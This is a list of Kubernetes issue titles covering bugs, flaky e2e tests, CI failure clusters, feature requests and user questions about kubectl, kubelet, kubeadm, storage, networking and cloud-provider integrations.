autocompletion fails on abbrieveated flags  i.e. works on  --namespace  fails on  -n

randomly one of my node becomes \ nodenotready\ , and its pods fail

add more metrics to the scheduler for the number of pods scheduled and pending

add support for minions to import and run docker images from tarball

kube-proxy: add option to forcibly disconnect existing tcp clients on service updates

kubeadm does not properly form a master endpoint when using ipv6

kube-controller-manager is stucking in deleting azure lb because of wrong idle timeout set

load balancer: name is tied to service uid, so state cannot be preserved upon cluster restart

k8s.io  kubelet cgroup manager pod containers on scheduling a guaranteed pod pod containers should have been created under the cgroup-root {e2enode suite}

failure cluster  67db57...  failed 306 builds, 22 jobs, and 1 tests over 1 days

failing test :  sig-storage  csi volumes  pull-kubernetes-e2e-gce

be able to specify the timeout to wait for pod for kubectl logs/attach

tokens controller shouldn't create secret when namespace is terminating

e2e failure   sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial  when statefulset has pod anti-affinity should use volumes spread across nodes

inconsistent status between daemonsets and pods in kubeadm self-hosted  v1.11.2

pr:pull-kubernetes-e2e-gce-device-plugin-gpu flaked 26 times in the past week

lots of useless \ container_spec_cpu_shares\  kubelet/cadvisor metrics

update existing scheduling framework extension points according to the latest design

using volume name \ source\  on 2+ containers leads to a \ not found\  error

pull-kubernetes-e2e-kops-aws: flag provided but not defined: -provider

i want to know how much risk “externaltrafficpolicy = local” for unbalanced traffic load balance

api documentation  kubectl explain  for readinessprobe.httpget.port is misleading

openapi aggregation not updating references to renamed definitions

cronjob sometime stays in running state even though container exited

question  client-go/tools/cache  deltafifo.list   copy requirement

ci-kubernetes-e2e-gce-examples failure cluster  451144...  failed 94 builds, 16 jobs, and 1 tests over 1 days

upgrade test failure  sig-api-machinery  initializers will be set to nil if a patch removes the last pending initializer

kubernetes rest_client_  metrics within controller-manager explode in cardinality when deleting many uniquely named namespaces

support for \ oneof\  validation if status subresource is enabled

cri: should we checkpoint sandboxconfig and containerconfig and in dockershim?

ci-kubernetes-e2e-gke-container_vm-1.3-gci-1.5-upgrade-cluster: broken test run

clarify \ schedulable resources and eviction policies\  in best practices documentation

azure  support setting the dns name label for public ips created by ingress controllers

kubernetes thinks pod is running even after the node was deleted explicitly

another-annotation-key: another-annotation-value with preferresduringschedulingignoredduringexecution

pod in containercreating status when containers.resources.limits.memory use lowercase unit

kubectl scale also says that it can work based on a label selector

kubeadm  v1.9.0-alpha.0.723..  hangs while trying to communicate to kubelet

gci test failing:  kubernetes-e2e-gci-gke-ingress-release-1.3    k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  feature: ingress  should conform to ingress spec

pc with 4g memory is down when executing cmd like make or make test on ubuntu 16.04

remove /var/lib/kubelet/pods//volumes/kubernetes.io~downward-api/podinfo: device or resource busy

failure cluster  effa7e...  failed 160 builds, 11 jobs, and 1 tests over 1 days

caching value of default priority in priority admission controller is not ha safe

migrate kubelet cri flags to kubelet.config.k8s.io  or some other versioned api backed by config files

pr:pull-kubernetes-e2e-kops-aws flaked 82 times in the past week

change the ratelimiter interface to provide an error message if canaccept is not true

failing test :  sig-storage  persistentvolumes-local stress with local volume provisioner  serial  should use be able to process many pods and reuse local volumes

failing test :  sig-instrumentation  monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster is failing in sig-release-master-upgrade

ubuntu kubelet package has broken dependency on kubernetes-cni, cant be installed

k8s.io  secrets should be able to mount in a volume regardless of a different secret existing with same name in different namespace {kubernetes e2e suite}

support node selectors for node, drain, taint and apply to new nodes

pods with volumes stuck in containercreating after cluster node is deleted from openstack

pr:pull-kubernetes-e2e-kubeadm-gce flaked 11 times in the past week

kubernetes 1.9.1 component status checking does not work with bool value {\ health\ :true} returned by etcd health monitoring api /health.

building kubernetes on osx fails with 3gb memory, now requires 4.5gb+

k8s.io  services should be able to change the type and ports of a service  slow  {kubernetes e2e suite}

discuss whether certain fields currently set by flags should not be moved to kubeletconfiguration

when a federated cluster endpoint is updated, federation controller manager still uses old endpoint

eviction_manager relies on nodereclaimfunc to return the amount of resource they have freed but they don't

remove cluster/update-storage-objects.sh and hack/test-update-storage-objects.sh

kubelet doesn't add \ controller-managed-attach-detach\  annotation

kubectl describe nodes should display free resources for the nodes

gke master upgrades from 1.4 to 1.6 are failing  kubedns dnsmaq sidecar pods not ready

change the host ip address, kubeadm reset, use ''kubectl get nodes'' will dial to the old ip address

azure file pvc need secrets create permission for persistent-volume-binder

ipv6: conntrack failures deleting endpoints seen during e2e tests

pods on aws with native networking can't access amazon provided dns

scheduler cleanup phase 🐼 : change  makedefaulterrorfunc  from method to function

k8s.io  privilegedpod should test privileged pod {kubernetes e2e suite}

storage e2es tests around dynamic provisioning failing on large clusters

flaky test   k8s.io   sig-node  nodeproblemdetector should run without error

add troubleshooting info for viewing resource usage in cadvisor, etc.

possible bug:  kubectl get svc blah -o yaml --export  output invalid for import

ci-kubernetes-e2e-gke-gci-1.4-gci-1.5-upgrade-master: broken test run

projected should update labels on modification flakes at least once per day

unexpected behaviour using \ onlylocal\  annotation on nodeport with 1.6.1 and weave-net 1.6

implement a library/tool for processing and transforming the etcd state

storage version migration is broken due to an optimization in guaranteedupdate

kubelet should manage hosts file for hostnetwork pods instead of docker

resourcequota evaluators should use shared informers for all core types

create patch unique to persistent volume label controller in cloud-controller-manager

horizontal pod autoscalar does not scale when cpu exceeds target

k8s.io  schedulerpredicates  serial  validates that inter-pod-affinity is respected if not matching {kubernetes e2e suite}

persistent volume claim ignores  storage request and claims full size, leaving other requests pending

enabling psp after a cluster is already running can lead to pods that not mutable

federation: google cloud dns records aren't properly when create/update/delete endpoints or lb service

test flake  pull-kubernetes-verify failed :\ failed   hack/make-rules/../../hack/verify-staging-godeps.sh\

kubectl get  treats specified resource shortcuts, plurals as different resources

kube-apiserver 1.0.2 - \ unable to perform initial ip allocation check\

can't mount ebs volumes with aws cloud provider, instance not found

update eventrecorder to handle event series using the new event api group

move the network setup back into kubelet using a grpc-style interface

unable to release resource in resource-quota when scale down deployment

gcr.io/kubernetes-e2e-test-images/webhook:1.12v1  is not correctly built

can't use a load balancer in front of the etcd cluster for etcd-servers.

abstract extractparams in kubectl/run for generators to share common parameter parsing

enhancement  reinforce that probes for ports as defined in container, not externally

easy deployment for workflow  and possibly other api objects in the future

k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 2 pods to 1 pod {kubernetes e2e suite}

panic in makeenvironmentvariables during getserviceenvvarmap call

orphaned pod cleanup removed all data in subpaths of a local volume with path on root drive

\ runasuser\  parameter of \ securitycontext\  doesn't reflect assigned value inside container

kubelet failed to delete orphaned pod directory when \ /var/lib/kubelet/pods\  directory symbolically links to another device's directory

new kubectl command to list information about nodes in a cluster with options for filtering based on labels

gce cloud provider logging should have mile-markers for things like lb creation

add more integration tests for volume related predicate invalidations

kubelet won't start on azure vmss after upgrading to k8s v.1.11.0

unable to install kubernetes following the official installation guide on centos 7 on a vm

use pluginmgr.findxxxpluginbyspec in generatexxxfunc in volume/operation_generator

newly created azure disk immediately fails to attach with attachdiskwhilebeingdetached

add support in quota to allow run once pods to satisfy a maximum \ rate\

watching third party resources gives client error: \ unable to decode an event from the watch stream: got invalid watch event type:\

k8s.io  disruptioncontroller should create a poddisruptionbudget {kubernetes e2e suite}

adding a scheduler extender requires duplicating the full scheduler policy config

code-generator: create stable and more extensible cli interface for top-level scripts – \ kube-gen\

scheduler cleanup phase 2 : move compatibility_test.go to  pkg/scheduler/api

proposal: add scheduler priority function for scheduling pod using host filesystem.

federation: verify and add tests for replicaset preferences annotations

eviction: calculate disk space reclaimed during container garbage collection

configmap data key-naming shouldn't be limited to dns-naming only

hpa not working properly on 1.9.x keeps same amount of instances

a tokenrequestauthorizer should allow serviceaccounts to request tokens for themselves

kubeadm upgrade from 1.9.6 to 1.10.0: converting v1.configmap to v1alpha1.masterconfiguration: api not present in src

node doesn't get deleted after being terminated in aws  1.12 only

k8s.io  dns horizontal autoscaling kube-dns-autoscaler should scale kube-dns pods in both nonfaulty and faulty scenarios {kubernetes e2e suite}

localsubjectaccessreviews used by something in e2e clusters but not supported in the apiserver

kubernetes_service_host and kubernetes_service_port weren't set in pod env

after upgrading to 1.7.0, kubelet no longer reports cadvisor stats

no internalip when upgrading to kubernetes >= 1.6.5 with vsphere cloud provider

kubernetes extended scheduler json example incorrectly mentioned

feature request  gke auto upgrade should leverage \ action required\  changelogs

disruptive daemon restart tests should verify that the node can function properly afterwards

the return of  sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator fails on \ pull-kubernetes-e2e-gce\  and \ ci-kubernetes-e2e-gci-gce\

daemonset controller should use a rate limiting queue to prevent hotloops

ensure that federated replica set controller logic is compatible with cluster autoscaler.

continuously merge changes to \ live\  docs into release branch docs

k8s node \ notready\  with oom event though node has zero resource pressure

server side apply should explicitly check that patchbytes are in the proper version

fluentd-elasticsearch addon should have support for journald logging

all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be evicted after eviction timeout passes

upgrade test failure  cronjob should adopt jobs it owns that don't have controllerref yet

security group isn't deleted after load balancer was deleted from openstack  v1.10.8

when sessionaffinityconfig is different, enqueueservice in update service handler

podsecuritycontext runasnonroot api description does not reflect implementation

can't add new replica controller and service from fluentd-elasticsearch addon

aws - split source/destination check modification from route creation

k8s.io  metricsgrabber should grab all metrics from a kubelet. {kubernetes e2e suite}

unify serviceaccount/jwt.go certificate helper functions to use client-go/util/cert

version matching across  kube & apiserver & apimachinery & client-go  = failure.

pvc with a non-empty selector can’t have a pv dynamically provisioned

docs: 404 link in docs/tasks/configure-pod-container/configure-pod-configmap/

investigate why switching from looking at events to looking at scheduled condition fixed a number of schedulerpredicate tests.

k8s.io  cluster size autoscaling  slow  should scale up correct target pool  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}

failed to list  federation.cluster: client: etcd cluster is unavailable or misconfigured

kubelet incorrectly reports selflinks of pods started from manifests

kubeadm controller-manager no /etc/fstab when use cloud-provider \ openstack\  \ config-drive\

kubeadm hosted install + calico pod networking fails  kube-dns crashloopbackoff after 3m

rbd volume plugin should support image feature adjustment according to kernel version

kube-controller-manager: error creating self-signed certificates, permission denied on v1.12.0-rc.2

service <> endpoints mapping ports to external service not working

k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  slow   feature: ingress  shoud create ingress with given static-ip  {kubernetes e2e suite}

k8s.io  kubectl client  k8s.io  kubectl run pod should create a pod from an image when restart is never  conformance  {kubernetes e2e suite}

block volume isn't cleaned up after block volume reconstruction failed

kubectl cp <pod>:/foo/bar ...  does not copy the directory but  /  instead

aws kube-up: node disk size is incompatible with instance storage

k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if matching {kubernetes e2e suite}

persistent volume endpoints and secrets do not have explicit namespace

failure cluster  8342f5...  failed 64 builds, 2 jobs, and 2 tests over 1 days

cluster autoscaling not working on multizone.. scaling up only in first zone?

statefulset podantiaffinity not working if not enough nodes are available yet

no documentation on how to point a kubernetes pod to a registry other than gcr.io

finer granularity of acls, specifically for labels on issues/pull requests

k8s.io  dns should provide dns for externalname services {kubernetes e2e suite}

k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}

\ invalid memory address or nil pointer dereference\  while provisioning volumes on vsphere

saltbase installer doesn't generate certificates for kube-apiserver

move selector immutability check to validation after v1beta1 retires

start checking taints wherever we check for node.spec.unschedulable

jobs and pods are never deleted with a foreground propagation policy

automated and standard build for kubernetes project docker images

failing test  :  k8s.io  sysctls tests failing release-upgrade test suite

some control plane images lack /etc/nsswitch.conf and will not respect /etc/hosts

published crd openapi schema does not include kind, apiversion, metadata fields

pod with smb mount could not be terminated when password becomes invalid on windows

k8s.io  downward api volume should update annotations on modification  conformance  {kubernetes e2e suite}

disable health checks from docker daemon to prevent conflict with liveliness probes.

node describe does a terrible job at telling me that the node is cordoned

kubelet failed to get node info: failed to get external id from cloud provider: multiple results where only one expected

k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}

system-cluster-critical and system-node-critical priorityclasses should be in api storage

eventratelimit - admission control - fails to start kube-apiserver

admission webhook doesn't allow service to use a port that is not 443

when using ipvs, service deletion does not trigger graceful termination

fix user documentation for  extensions/v1beta1  to not include golang type names

move client-go/discovery/cached_discovery.go to client-go/discovery/diskcached/...

proposal for upstreaming openshift policy / auth components as a kube extension

support adding a transparent local proxy/load balancer as a sidecar  without having to change the original docker container to be aware of it ?

possible to change the api-server configuration in the vagrant build?

pull-kubernetes-federation-e2e-gce: federation-up.sh fails due to failing to pull image

apiserver request logger panicking on post/put/delete requests in kubemark-scale

pods with gpu requests should be rejected early if accelerators feature gate is off

kubectl cp: target file is not renamed correctly when using a different source and target filename

kubectl describe shows sandboxchanged which is not a helpful user message

tooling/infrastructure changes for branching at a x.y.z version  for zero-day and other emergency releases

kubectl panic: runtime error: invalid memory address or nil pointer dereference

e2e test failure  simple pod should support exec through kubectl proxy

conflict validation on kubeproxyconfig.healthzbindaddress/metricsbindaddress and flags

failing tests : beforesuite gke-1.12-1.11-downgrade-cluster-parallel

pod request objects generated from job's don't have \ metadata.name\  field set during admission review

support & maintain a cloudformation based setup for kubernetes on aws

no storageclass info when using  cluster/kubectl.sh get pv  if create pvc with alpha annotation

deleting current context in kubectl doesn't allow you to set a context

failure cluster  5a9c28...  failed 71 builds, 2 jobs, and 1 tests over 1 days

kubeadm incorrectly upgrades kubelet.conf for certificate rotation during cluster upgrade

kubelet does not crash when unable to discover the node name from cloud provider

federation cloud dns provider fails to update dns when running multizone clusters

failure cluster  c38741...  failed 119 builds, 2 jobs, and 1 tests over 1 days

failure cluster  516d0b...  failed 63 builds, 4 jobs, and 1 tests over 1 days

emit useful error with invalid instance types for aws nlb services

increase in apiserver/c-m mem usage by 100-200 mb in 100-node cluster

after kubernetes 1.11.2 upgrade pod's and master can't communicate across nodes

failing test  subpath should unmount if pod is gracefully deleted while kubelet is down failing in master-upgrade:gce-new-master-upgrade-cluster

kube-controller-manager never gives up trying to create invalid lb

restarting kubelet with new node labels doesn't update labels for node

unable to connect pod network to mongodb running at outside kubernetes cluster at host network

unable to connect to service from local network after livenessprobe has been started

kubectl create secret/configmap using --from-file option is failing

e2e: some pods containers use image \ busybox\ , which causes to force a pull every time even if the image already exists locally

shall we add a image gc white list that the kubelet imge gc will ignore?

container logs with timestamp are getting trailing zeroes trimmed

container's port specific hostip is ignored, listens on all host's ips instead

should have better information on how to have an external tool consume the pod/container lifecycle event stream

using docker run --group-add to track container disk usage through disk quota

endpoint watchers cannot assume ready pods are \ ready\  in the presence of process restarts

bug- unable to deploy aws cluster with elasticsearch logging enabled

refactor federation unit tests so that they don't modify objects

docs for federation-controller-manager should indicate that coredns is a valid option

daemonset created in namespace kube-system is deleted after ~40s every time.

kubeadm init should check that kubelet's cluster-dns config matches kubeadm's service-cidr

nodeport service can't be accessed by masterip:nodeport with k8s 1.9

flake:  sig-network  services should have session affinity work for loadbalancer service with esipp

reduce build times by not compiling protobuf / codecgen for certain platforms

kubectl/kubernetes 1.4 validation not handling incomplete annotations on a service for s3 logging.

k8s.io  esipp  slow  feature:externaltrafficlocalonly  should work for type=nodeport  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}

gce dynamic provisioning did not retry when gce api returned 502

when a pod with a pv is moved to another node stuck in containercreating a long time

failure cluster  be67e0...  failed 77 builds, 15 jobs, and 1 tests over 1 days

deployment controller fails to create new rs when old rs has an evicted pod

kubectl get services  should warn the user if the service has no endpoints

pods with nfs volume,the nfs mount point and the pod volume are synchronized,but the pod volume and container volume are not synchronized

operation:  list   for kind:  namespace   with name:  null   in namespace:  null   failed.

incorrect error message when labels & expressions are not matching for replica set

k8s.io  nodes  disruptive   k8s.io  network when a node becomes unreachable  replication controller  recreates pods scheduled on the unreachable node and allows scheduling of pods on a node after it rejoins the cluster {kubernetes e2e suite}

failure cluster  9aaafb...  failed 280 builds, 27 jobs, and 1 tests over 1 days

static cpu manager policy should release allocated cpus when container enters \ completed\  phase.

initiator reported error  19 - encountered non-retryable iscsi login failure

heapster should aggregate custom metrics of core cluster components

iptables rule: -a postrouting -s x.x.x./cidr -j flannel missing  971

kubectl -o jsonpath throws an error if field is not present in json

kubelet failed to get node info following network unreachable for kubernetes master

federated ingress sends unnecessary cross-region requests due to low maxrps setting

calico add-on: calico/node pod can take a long time to be restarted

flaky test  gce-scale-correctness :  sig-network  loadbalancing: l7  slow  nginx should conform to ingress spec

the boundserviceaccounttokenvolume feature creates tokens only readable by root

possibly replace the use of wait.poll in e2e tests with some other standard retry mechanism?

shall we consider implement an \ annotation selector\  in kuberentes?

listing namespaced services from a specific resource version doesn't work

1.3.4 aws nodes constantly go notready with kubeletnotready container runtime is down

statefulset upgrade test error when running against pre-1.5 versions of k8s

kubectl did not print readable message of statefulset pvc's capacity.

failure cluster  72ff9b...  failed 253 builds, 46 jobs, and 1 tests over 1 days

kubelet gets throttled by aws metadata service and becomes notready

dependency broken: <cmdutil \ k8s.io/kubernetes/pkg/kubectl/cmd/util\ >

unable to access file in the volume populated with data stored in a configmap

with watch cache disabled against etcd 3.1.x, some list calls timeout after 60s

stateful set rolling update should start a the new pod and \ switch\  to it once its ready

nsenterwriter is an arbitrary shell-execution / path traversal attack waiting to happen

the label \ alpha.kubernetes.io/nvidia-gpu: 1\  configed in yaml file, didn't have took effect in the current kubernetes/master branch

implement rolling-upgrade on daemonsets and statefulsets via  kubectl

flaky pre-submit: pull-kubernetes-unit - test-cmd.run_recursive_resources_tests

pvc does not have all the labels when created from volumeclaimtemplate in statefulset.

initialize csinodeinfo object with migrated drivers on kubelet initialization

taintnodesbycondition admission add specified taints to new nodes during admission

unit test failure: k8s.io/kubernetes/pkg/registry/storage/csidriver/storage.testupdate

k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 1 pod to 3 pods and from 3 to 5 {kubernetes e2e suite}

separate dynamic kubelet config and load-from-a-file feature gates

maxpodspernode - be able to set hard and soft limits for deployments / replicasets

watch requests from heapster are too short and list last too long

openstack cloud provider should support project instead of tenant

kubelet should also look at init container when set pod sandbox privilege.

old object of admission attributes is always nil on delete calls

creating kubemark cluster on gce requires exporting environmental variables to work

federation  joining cluster service accounts roles created by kubefed join are very broad

race condition with  controllerclientbuilder  +  tokenscontroller  + custom token controller

api-server can not start up ,the cluster is installed by kubespray

azure cloud provider: wrong implementation of  instanceshutdownbyproviderid

what is the order of execution of livenessprobe and readinessprobe?

building kubectl with bazel as an external repo dependency is not currently possible.

pod's dns subdomain cannot be resolved if headless service name not same as statefulset name

failing test   sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow

setting kubelet client certificate file path through kubeadm config file failed

failing tests  multiple job failures on the beforesuite step while waiting for coredns to be ready

capabilities in security context need to be specified differently for docker vs rkt

k8s.io  configmap should be consumable from pods in volume with mappings and item mode set conformance   volume  {e2enode suite}

record a volume processing failure event for pod while volume mgr start to process volumes.

scheduler cleanup phase 1 : refactor scheduler_test.go to use a fake k8s client

pvclaimspec resources should not use teh same struct as container resources

low priority  find a way to run more metrics server in scheduler_perf

the pause-amd64:3.0 image on gcr.io has an empty schema2 manifest

collision between healthchecknodeport and nodeport on loadbalancer services

cache mutation detector causes memory/cpu pressure at the end of long e2e runs  like pull-kubernetes-e2e-gce-etcd3

fix hardcoded validresources, change to fetch from discoveryclient

failing test :  sig-scheduling  schedulerpredicates  serial  validates that taints-tolerations is respected if not matching

cronjob successfuljobshistorylimit and failedjobshistorylimit not working

failing test: multiple  sig-cli  kubectl client  k8s.io  tests failing in sig-release-master-upgrade suite

kube-proxy ipvs: wrongly unbind addr when update a multi-port service

upgrade test failure  basic statefulset functionality  statefulsetbasic  should have a working scale subresource

aws provider excludes untagged nodes, causing node deletion on 1.5->1.6 upgrade

hinfo: unreachable backend: read udp 10.200.0.9:46159->183.60.83.19:53: i/o timeout

deployment of 1.5.4 fails on openstack mitaka. error on second node.

intermittent failure fetching gs://kubernetes-release-dev/ci/latest-1.7.txt

externaltrafficpolicy: local makes azure loadbalancer stop working

runasnonroot should permit images with a non-root user directive

disable ssl redirect for specified path  httpingresspath  in ingress

make release-skip-tests quick-release fails to generate release tarball

federation: support creating resources only in federation control plane

summary api:  container|pod stats.starttime does not contain the expected data

what is the validated kernel version for k8s 1.6 on ubuntu 14.04?  v3.13 or v4.4 or both?

how to create a kubernetes nfs volume on google container engine

describers should be able to print objects from somewhere besides the server

csi: kubelet removes nodeid annotation when a driver is restarted

csi - delete volumeattachment and volume failed when the associated node is not found.

controller-manager crash when specifying --allocate-node-cidrs=true without a cloud provider

k8s.io  downward api volume should provide container's memory limit {kubernetes e2e suite}

federation  clusterssynced clusters     federationapi.clusters  documentation doesn't seem to match the implementation

failure cluster  982a97...  failed 424 builds, 3 jobs, and 1 tests over 1 days

failing test: broad scheduling issues due to taintnodesbycondition

k8s.io  daemon set  serial  should run and stop complex daemon with node affinity {kubernetes e2e suite}

app pods in k8s cluster can not resolve external address like: google.com

failure cluster  eac695...  failed 162 builds, 12 jobs, and 1 tests over 1 days

lack of mtls between kube-apiserver and etcd-client on gce master

make test-integration what=test/integration/pkgtotest  doesn't seem to work

regression: kubelet inotify does not detect changed symlink targets

reliably determine when attaching volumes to multiple nodes is supported/allowed

install script refuses to work with the existing downloaded k8s release

make custom metris count limit from cadvisor available in kube_up.sh

scheduler: \ failedscheduling / binding rejected\  occurred with unclear reason

should we detach an  attached cinder volume forcibly before attaching elsewhere

flake:  k8s.io  services should create endpoints for unready pods

error: container “dnsmasq” is unhealthy, it will be killed and re-created while running local cluster in kubernetes

in the cluster ha state, the controller manager cannot lock the leader.

what is the difference between kube-controller-manager and kube-scheduler to use kubeconfig and config file，there is a strange error

operations on custom resources with multiple versions fails when validating and mutating web hooks are configured on it

upgrading cluster running cri-o from 1.13.5 to 1.14.1 yields errors on runtimeclasses access

/metrics endpoint in kubelet returns incorrect cpu usage numbers

should expose default \ service-cluster-ip-range\  setting to users

the current kubelet device plugin code could fail to remove some devices that are no longer advertised by a re-registered device plugin

federated service discovery failed in hybrid cloud: openstack + gke

kubeadm hangs on  init  this might take a minute or longer if the control plane images have to be pulled.

kubeproxyconfiguration lacks of healthzport to disable health check server

docker failed to create container on windows nodes: failed to unmarshall layerchain json - invalid character '\\\\x00' looking for beginning of value\

make test/e2e/core.go download compressed log files, not cat plain text over the wire

pod status is always in containercreating because unable to mount nfs volume

k8s.io  statefulset  slow   k8s.io  basic statefulset functionality should provide basic identity {kubernetes e2e suite}

low-priority  consider removing unused methods from scheduler cache

apiserver request timeouts causing healthy node to be removed from lb's target pool

'volume plugin streaming  slow  nfs...' e2e test failing on large clusters

kubefed init authorization issue ...api server is running cases...

certain container labels only set when lifecycle and prestop are set

strategicpatch.createtwowaymergepatch cannot handle rawextension fields

unexpected code path in protobuf decoding of the internal event recorder in 1.6

pull-kubernetes-unit: k8s.io/kubernetes/pkg/api testroundtriptypes is flaking

creating canal http://localhost:8080/swagger-2.0.0.pb-v1: dial tcp  ::1 :8080: getsockopt: connection refused

failing tests : timeout and upgradetest in gce-1.10-master-upgrade-cluster, gce-1.10-master-upgrade-cluster-new and gce-1.10-master-upgrade-cluster-parallel

is it possible to schedule the pods on the a worker node until it uses all the gpu resources?

service exposed as nodeport is accessible using 'external ip' of another service type=loadbalancer

kube-proxy  move clearudpconntrackforport   &deleteudpconnections to proxy/util/conntrack.go

broken serialization of escaped ~~quotes~~ characters due to jsoniter

missing unit-tests for horizontalpodautoscalerdescriber, ingressdescriber and jobdescriber

openstack loadbalancer deletion issue with multiple ports exposed

getting delete request of 'empty' resources when a namespace is deleted

does k8s support running simple shell command application on cluster nodes?

validatingwebhookconfiguration/mutatingwebhookconfiguration using url doesn't work for client authentication

a storageaccount api call blocks kubelet from becoming ready when there isn't any outbound ip

pod stays in status pending if image can't be pulled because of the disk space usage

delete service.alpha.kubernetes.io/tolerate-unready-endpoints annotation

failing tests :  sig-storage  multiple on gke-gci-new-gci-master-upgrade-cluster-parallel

consider masking  authorization  header value in debugging transports

jsonpath nested condition and multiple conditions are not working

feature: allow user to add extra tags to any aws resource created by the cluster

do informers without resync/relist violate controller design best practices?

kubectl logs with eof error when the pod are not in the master node.

\ completed\  container should not be in back-off that resulting in \ crashloopbackoff\

scheduler cleanup phase 2 : rename  pkg/scheduler/cache  to  pkg/scheduler/nodeinfo

missing storage medium type for volumestats in kubelet metrics /summary api

heapster fail to be started in kubenetes cluster installed by kubeadm 1.6.0, because the resource request/limit are changed with a very large number by some unknown component

unable to run test \ should enforce policy based on podselector  feature:networkpolicy \

failing test   nodelease deletion failing in sig-release-1.14-all:gke-cos-1.14-serial

add a bastion to apiserver  reverse lookup by ip address + proxy

\ make test\  causes incoming network connections prompts on macos

mark exceeddeadline job with completions == succeed instead of  failed?

e2e  validates resource limits of pods that are allowed to run failed due to incorrect cpu calculation

heapster should collect compute resource usage of core cluster components

portworx volume plugin panics when a pvc is created using a  storageclass with empty parameters

node goes not ready because of cri-containerd and containerd issues

plugin watcher getting notified of every kubelet directory event

let kublet / kubeadm handle downloading images / configure insecure repositories, not docker

k8s.io  proxy version v1 should proxy to cadvisor using proxy subresource  conformance  {kubernetes e2e suite}

re-organize the changelog so that related releases are close together

can not find livenessprobe result in podstatus or get livenessprobe result by kubelet rest api.

please remove port range restriction for nodeport field on nodeport type services

proxied watches do not scale well  single aggregated api-server case

reminder: revert  24808 when mount.glusterfs enables --verbose error returns functionality is implemented

pod not starting while using kubelet with manifests files and apiserver.

daemonset creation/editing: can't set \ .spec.template.spec.affinity\

the generalpleg's parameter  plegrelistperiod is too long in some certain scenes ?

iscsi should be deleting scsi devices on pv unmount to prevent data corruption

in ipv6-only cluster with proxy-mode=ipvs ipv4 entries are used for nodeport

error getting signer for provider skeleton: 'getsigner ...  not implemented for skeleton on local cluster

federation on aws does not add route53 a and aaaa alias for federated service

job failure  ci-kubernetes-test-go, ci-kubernetes-verify-master, pull-kubernetes-unit failing

add the ability to kube-apiserver's healthz endpoint to disable health checks via query params

kubernetes 1.14.0  watch on aggregated api resource hangs until first event

kubectl --validate doesn't work for api group objects inside lists

rolling upgrades using deployments should have an option of waiting for the old pod to terminate completely

umbrella issue: move all e2e tests to subdirs and all testnames should have sigprefix

tracking work to deprecate alpha taint key and camelcase taint key

return error when user specify an wrong storage account for azure file mount on windows

k8s's autocompletion of image url nullifies docker configuration

csi: kubelet driver registration should not use k8s node as csi node id

failing test:  sig-storage  detaching volumes should not work when mount is in progress

automate updating docs repo generated docs from the kubernetes/kubernetes repo

hyperkube kube-proxy panics when run with '--cleanup-iptables=true' starting with v1.7.0-alpha.3

controller manager npe because some controllers aren't ready to receive shared informer events immediately after adding handlers

file system resizing should not be attempted if volume is mounted read-only

e2e flake  garbage collector should delete pods created by rc when not orphaning

in pkg/kubectl/describe.go, matches function only support ordered type matches

ability to bind pvc's with a storage class with a manually created pv

admission webhook configuration api should report if the configuration is effective

cni cannot be used with windows server 2016 rtm  build number 14393

i have node-local services i want to offer to pods, e.g. datadog, how can i do that?

allow compression of json response body using accept-encoding header

api server crashlooping after upgrade from v1.8.4 to v1.9.0-beta.0

cpumanager: kubelet won't start with static policy when using minikube

test version upgrades of autoscaling in test-update-storage-objects.sh

priority admission controller should resolve priority of mirror pods

passing an invalid resource to  apply --force  deletes the target server resource

no matches for kind \ kubeschedulerconfiguration\  in version \ componentconfig/v1alpha1\

kube-addons are all guaranteed qos tier, seems like they could be burstable

the connection to the server localhost:8080 was refused - did you specify the right host or port?

event messages do not include the container name for container-specific events

skip pvc protection tests in environments where there is no default storageclass available

cluster setup in e2e tests not reliable enough nor transparent enough

need to delete related rolebinding/clusterrolebinding when the role/clusterrole removed

remove/restart nodes that are \ not ready\  after a certain amount of time

kubectl: bad creds get cached in ~/.kube/config, causing user confusion until expiry  or manual file edit

pr:pull-kubernetes-kubemark-e2e-gce flaked 17 times in the past week

debug symbols are being obfuscated irrespective of extra gogcflags set

api server returns 500 when issued a get with invalid label selector

e2e flaky:  k8s.io  pod disks should be able to detach from a node which was deleted  slow   disruptive   volume

kubectl apply configmap  does not change file-modification-time  in configmap-volume

flocker volume driver should use storageclass parameters to determine the flocker storage profile of dynamically provisioned volumes

k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  {kubernetes e2e suite}

kubeadm init hangs after kubeadm reset with api server error poststarthook \ ca-registration\  failed:

kubectl proxy support accessing web services on deployments, daemonsets, services

running out of disk space but no warnings from  kubectl describe nodes

k8s.io  emptydir volumes should support  non-root,0666,default   conformance  {kubernetes e2e suite}

feature request  need a podnodeaffinity admission control just like podnodeselector

ipvs proxier doesn't handle nodes with iptables policy forward drop

create a process for tracking and fixing flakes in gce- scale|large -correctness jobs

mountvolume.mountdevice failed for volume - format of disk failed

unmountvolume.teardown fails for azurefile volume, locks up node

is kube-scheduler's listening port expected on its node address instead of 127.0.0.1 ?

why do i see all services environment variables in every service?

flaking tests  scheduler.testunreserveplugin flaking in ci-kubernetes-integration-master

client-gen: add unit test against testoutput/clientset_generated

before turning down gh-pages branch, make sure the appropriate docs processes have been migrated

wrong cgroup-driver set on kubelet with centos saltbase installation

fc volume plugin needs to remove detached block device at teaddown sequence

kubectl copy doesn't check for paths outside of it's destination directory.

enable provisioning of external l4 service loadbalancer with ipv6

wrong relative paths use din makefile for hypercube after m make release-skip-tests quick-release

k8s.io  summary api when querying /stats/summary should report resource usage through the stats api {e2enode suite}

complete help for kubectl top command when heapster is not in kube-system namespace

